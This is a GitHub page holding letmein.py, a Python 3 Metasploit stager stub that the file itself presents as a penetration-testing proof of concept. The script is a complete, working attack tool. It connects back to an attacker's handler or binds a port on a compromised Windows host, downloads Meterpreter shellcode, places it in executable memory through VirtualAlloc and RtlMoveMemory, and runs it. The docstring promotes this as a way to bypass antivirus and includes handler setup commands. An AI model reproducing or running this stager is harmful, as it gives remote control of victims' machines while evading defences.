-
Notifications
You must be signed in to change notification settings - Fork 122
/
Copy pathletmein.py
238 lines (195 loc) · 6.17 KB
/
letmein.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
#!/usr/bin/env python3
"""
letmein.py 0.1 - Metasploit Framework Python Stager Stub
Copyright (c) 2017 Marco Ivaldi <[email protected]>
"The Other Way to Pen-Test" --HD Moore & Valsmith
Letmein is a pure Python 3 implementation of the staging
protocol used by the Metasploit Framework. Just start an
exploit/multi/handler (Generic Payload Handler) instance
on your attack box with either a reverse_tcp or bind_tcp
Meterpreter payload, then run letmein (ideally converted
to EXE format) on a compromised Windows box and wait for
your session.
This technique is quite effective in order to bypass the
antivirus and obtain a Meterpreter shell on Windows.
This script is only a proof of concept. In this specific
case, Python may not be the best choice available (hint:
try C or PowerShell instead;).
Based on:
https://github.com/rsmudge/metasploit-loader
Requirements:
Python 3 (https://pythonclock.org/ is ticking...)
Tested with the following payloads:
windows/meterpreter/reverse_tcp (Python 32-bit only)
windows/meterpreter/bind_tcp (Python 32-bit only)
windows/x64/meterpreter/reverse_tcp (Python 64-bit only)
windows/x64/meterpreter/bind_tcp (Python 64-bit only)
Example usage:
[on the attack box]
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST x.x.x.x
msf > exploit
[on the target system]
C:\> python letmein.py -r x.x.x.x
TODO:
Test 32-bit/64-bit EXE on different Windows versions
Use "from <module> import <function>" to reduce size
Implement support for Meterpreter Paranoid Mode
Implement support for other payloads
Python 2 compatibility (implement a custom int.to_bytes)
Get the latest version at:
https://github.com/0xdea/tactical-exploitation/
"""
VERSION = "0.1"
BANNER = """
letmein.py {0} - Metasploit Framework Python Stager Stub
Copyright (c) 2017 Marco Ivaldi <[email protected]>
""".format(VERSION)
import sys
import argparse
import socket
import struct
import ctypes
def reverse_tcp(args):
"""
Payload handler for reverse_tcp
"""
host = args.r
port = args.p
socket.setdefaulttimeout(args.t)
# connect to reverse_tcp exploit/multi/handler
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
letmein(s)
def bind_tcp(args):
"""
Payload handler for bind_tcp
"""
port = args.p
# open a port for bind_tcp exploit/multi/handler
b = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
b.bind(("0.0.0.0", port))
b.listen(1)
s, a = b.accept()
letmein(s)
def letmein(s):
"""
Metasploit staging protocol handler
"""
# get 4-byte payload length
l = struct.unpack("@I", s.recv(4))[0]
# download payload
d = s.recv(l)
while len(d) < l:
d += s.recv(l - len(d))
# prepend some asm to mov the socket descriptor into edi
# mov edi, 0x12345678 ; BF 78 56 34 12 (32-bit)
d = bytearray(
b"\xbf"
+ s.fileno().to_bytes(4, byteorder="little")
+ d)
# mov rdi, 0x12345678 ; 48 BF 78 56 34 12 00 00 00 00 (64-bit)
# based on my tests, this doesn't seem to be necessary for x64
"""
d = bytearray(
b"\x48\xbf"
+ s.fileno().to_bytes(8, byteorder="little")
+ d)
"""
# allocate a RWX memory region
# VirtualAlloc(0, len(d), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
ptr = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(d)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
# copy the shellcode
buf = (ctypes.c_char * len(d)).from_buffer(d)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(ptr),
buf,
ctypes.c_int(len(d)))
# execute the shellcode
ptr_f = ctypes.cast(ptr, ctypes.CFUNCTYPE(ctypes.c_void_p))
ptr_f()
# execute the shellcode, a possible variant by Debasish Mandal
# see http://www.debasish.in/2012/04/execute-shellcode-using-python.html
"""
ht = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(ht),
ctypes.c_int(-1))
"""
def get_args():
"""
Get command line arguments
"""
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers(
title="commands",
help="choose payload type")
# reverse_tcp subparser
parser_reverse_tcp = subparsers.add_parser(
"reverse_tcp",
help="reverse_tcp payload")
parser_reverse_tcp.set_defaults(func=reverse_tcp)
# reverse_tcp arguments
parser_reverse_tcp.add_argument(
"-r",
metavar="HOST",
required=True,
help="specify target hostname or IP address")
parser_reverse_tcp.add_argument(
"-p",
metavar="PORT",
type=int,
default=4444,
help="specify port to use (default: 4444)")
parser_reverse_tcp.add_argument(
"-t",
metavar="TIMEOUT",
type=int,
default=10,
help="specify timeout in seconds (default: 10)")
# bind_tcp subparser
parser_bind_tcp = subparsers.add_parser(
"bind_tcp",
help="bind_tcp payload")
parser_bind_tcp.set_defaults(func=bind_tcp)
# bind_tcp arguments
parser_bind_tcp.add_argument(
"-p",
metavar="PORT",
type=int,
default=4444,
help="specify port to use (default: 4444)")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(0)
return parser.parse_args()
def main():
"""
Main function
"""
print(BANNER)
if sys.version_info[0] != 3:
print("// error: this script requires python 3")
sys.exit(1)
args = get_args()
try:
args.func(args)
except (KeyboardInterrupt, SystemExit):
sys.exit(1)
except Exception as err:
print("// error: {0}".format(err))
sys.exit(1)
if __name__ == "__main__":
main()